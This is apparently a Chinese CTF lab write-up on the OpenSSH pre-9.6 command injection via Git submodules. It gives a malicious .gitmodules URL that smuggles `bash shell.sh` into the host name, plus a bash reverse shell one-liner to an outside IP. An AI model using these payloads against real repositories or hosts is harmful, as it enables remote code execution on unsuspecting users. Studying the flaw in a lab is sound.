靶标介绍:
OpenSSH 是使用 SSH 协议进行远程登录的连接工具。在OpenSSH 9.6版本之前的ssh中,如果用户名或主机名中含有shell元字符(如 | ' "等),并且ssh_config中ProxyCommand、LocalCommand指令或"match exec"谓词通过%u、%h或类似的扩展标记引用用户或主机名时,可能会发生命令注入。Git未禁止用户或主机名中的shell元字符,存储库可能包含一个带有shell元字符的子模块用户或主机名,可能导致产生命令注入漏洞。
参考资料:mp.weixin.qq.com/s/6LwOlPSVQgwqkSFZ2iys7g
我们访问靶场如下图所示:
我们先使用Gitee从GitHub导入仓库:
然后访问该仓库,创建一个shell.sh文件,并修改.gitmodules文件的内容如下,然后保存:
[submodule "cve"]path = cveurl = ssh://`bash shell.sh`foo.ichunqiu.com/bar
bash -c 'exec bash -i &>/dev/tcp/159.75.114.131/8889 <&1'
然后VPS开启监听:
在靶机中,填入你的仓库地址,然后点击一键部署,即可获取到反弹Shell: